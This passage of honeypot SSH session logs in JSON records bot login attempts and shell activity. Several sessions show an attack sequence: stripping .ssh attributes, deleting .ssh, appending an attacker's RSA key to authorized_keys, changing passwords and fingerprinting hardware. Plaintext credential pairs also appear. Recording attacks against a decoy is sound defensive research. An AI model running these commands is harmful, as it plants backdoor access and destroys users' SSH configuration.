/proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:24.732704+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:24.996115+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:25.464815+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:25 up 7 days, 9:07, 0 user, load average: 0.26, 0.29, 0.21\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:25.727322+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:27.068869+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:27.331101+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:29.411667+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:29.674218+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:30.301205+00:00","kind":"output","latency_ms":null,"data":"ebi"},{"seq":29,"at":"2026-08-27T12:17:30.564249+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:31.700280+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:31.961177+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:33.340116+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ebi","password":"ebi","method":"password","accepted":true,"tier":"other"}]} {"id":"5955f270-2c68-451d-bb99-898a798c1521","name":"drifting-lonesome-walrus","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":57688,"username":"cuckoo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:24.769873+00:00","ended_at":"2026-08-27T12:17:25.833022+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cuckoo","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"060b4211-25b5-40f4-bcf4-d15c66ebd1c2","name":"idle-airy-ermine","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":57682,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:22.295832+00:00","ended_at":"2026-08-27T12:17:24.113298+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c5ac6b47-ec4a-40bf-acd8-6f327c9194c3","name":"thorny-weathered-squirrel","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":55496,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:16.232053+00:00","ended_at":"2026-08-27T12:17:17.574814+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftp_user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"56c6e652-2d12-4249-ade1-296976d94763","name":"languid-pewter-hornbill","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55998,"username":"ebi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:14.081383+00:00","ended_at":"2026-08-27T12:17:15.966865+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ebi","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9579c70b-9154-4a56-be57-9cbabf6f6b46","name":"quaint-freckled-barbet","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":55486,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:13.031903+00:00","ended_at":"2026-08-27T12:17:14.783947+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"790f9f13-4402-4279-bb3d-dfb1292d453f","name":"crimson-rugged-opossum","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55982,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:11.657520+00:00","ended_at":"2026-08-27T12:17:13.561841+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"38e87d5e-ef1f-45a2-bb06-542130b3b7bf","name":"hazel-upland-numbat","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55238,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:16:49.883425+00:00","ended_at":"2026-08-27T12:16:52.008092+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T12:16:34.255006+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:16:34.548514+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:16:37.676608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:16:38.127708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:16:38.421119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\n0sAC8lMcw8Xk\\n0sAC8lMcw8Xk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:16:38.714122+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\n0sAC8lMcw8Xk\\n0sAC8lMcw8Xk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:16:39.043027+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:16:39.309282+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:16:39.606254+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:16:40.816363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:16:41.113661+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:16:41.989014+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:16:42.287540+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:16:42.820316+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:16:43.116260+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:16:43.436214+00:00","kind":"output","latency_ms":null,"data":" 12:16:43 up 7 days, 9:06, 0 user, load average: 0.35, 0.25, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:16:43.731136+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:16:44.215226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:16:44.510956+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:16:44.871438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:16:45.167000+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:16:45.519756+00:00","kind":"output","latency_ms":null,"data":"top - 12:16:45 up 7 days, 9:06, 0 user, load average: 0.35, 0.25, 0.4\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:16:45.815788+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:16:46.378185+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:16:46.674033+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:16:47.199370+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:16:47.495765+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:16:48.174694+00:00","kind":"output","latency_ms":null,"data":"admin123"},{"seq":29,"at":"2026-08-27T12:16:48.470346+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:16:49.589234+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:16:49.883953+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:16:51.921491+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin123","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"5146482d-a0cf-4840-ba88-585b548d6e23","name":"gleaming-northern-crossbill","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":59438,"username":"sniper-bot","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":672,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:16:48.385340+00:00","ended_at":"2026-08-27T12:16:49.005613+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:16:44.558685+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:16:45.108912+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:16:45.880000+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:16:45.880660+00:00","kind":"output","latency_ms":null,"data":" 12:16:45 up 7 days, 9:06, 0 user, load average: 0.04, 0.05, 0.03"},{"seq":5,"at":"2026-08-27T12:16:46.190195+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:16:46.190698+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:16:46.864301+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:16:46.864657+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:16:47.176126+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:16:47.176714+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:16:48.048194+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:16:48.048663+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:16:48.386251+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:16:48.386754+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"sniper-bot","password":"sniper-bot","method":"password","accepted":true,"tier":"other"}]} {"id":"39cfa34a-1021-4e25-82fa-282d65e15778","name":"smoky-obsidian-sandpiper","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40224,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:16:36.444905+00:00","ended_at":"2026-08-27T12:16:37.590640+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin123","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b474bb0d-860a-4b11-8d4c-3302810b947f","name":"cobalt-nautical-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40208,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:16:35.229277+00:00","ended_at":"2026-08-27T12:16:35.850410+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"081fa199-1224-4a9a-b7fd-383ef9bf1e1c","name":"wry-thorny-coyote","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":55944,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:16:34.644942+00:00","ended_at":"2026-08-27T12:17:24.089070+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"fe5b7c35-3ce5-4bff-b1e5-8e487ed5dab9","name":"windswept-earnest-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59540,"username":"dev","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":443,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:45.537099+00:00","ended_at":"2026-08-27T12:15:47.083834+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:15:24.762963+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:25.204912+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:29.938342+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:30.272593+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:30.715378+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456789\\nwVUIADNRdB9U\\nwVUIADNRdB9U\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:15:31.160785+00:00","kind":"input","latency_ms":null,"data":"echo \"123456789\\nwVUIADNRdB9U\\nwVUIADNRdB9U\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:15:31.603376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:32.387240+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:32.828911+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:33.874762+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:34.326121+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:15:35.590118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:36.033673+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:36.299680+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:36.742583+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:37.642664+00:00","kind":"output","latency_ms":null,"data":" 12:15:37 up 7 days, 9:05, 0 user, load average: 0.24, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:38.086434+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:38.666430+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:39.110581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:39.376430+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:39.820848+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:40.275556+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:40 up 7 days, 9:05, 0 user, load average: 0.24, 0.2, 0.23\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:40.722643+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:41.369324+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:41.811347+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:42.393940+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:42.835858+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:43.439543+00:00","kind":"output","latency_ms":null,"data":"dev"},{"seq":29,"at":"2026-08-27T12:15:43.884119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:45.092870+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:45.537616+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:46.948163+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dev","password":"123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"779e6bda-1ea1-48e9-a699-6b4db9dfc7e7","name":"polar-rambling-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37324,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:38.945247+00:00","ended_at":"2026-08-27T12:15:40.531770+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:15:20.842068+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:21.171919+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:25.954235+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:26.408678+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:26.736998+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sklep\\nuJ21Ozo256Nt\\nuJ21Ozo256Nt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:15:27.066338+00:00","kind":"input","latency_ms":null,"data":"echo \"sklep\\nuJ21Ozo256Nt\\nuJ21Ozo256Nt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:15:27.396304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:28.121798+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:28.450084+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:29.497511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:29.825894+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:15:30.738595+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:31.067909+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:31.530480+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:31.860147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:32.535696+00:00","kind":"output","latency_ms":null,"data":" 12:15:32 up 7 days, 9:05, 0 user, load average: 0.22, 0.17, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:32.862957+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:33.662865+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:33.988757+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:34.275521+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:34.602019+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:34.955768+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:34 up 7 days, 9:05, 0 user, load average: 0.22, 0.17, 0.21\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 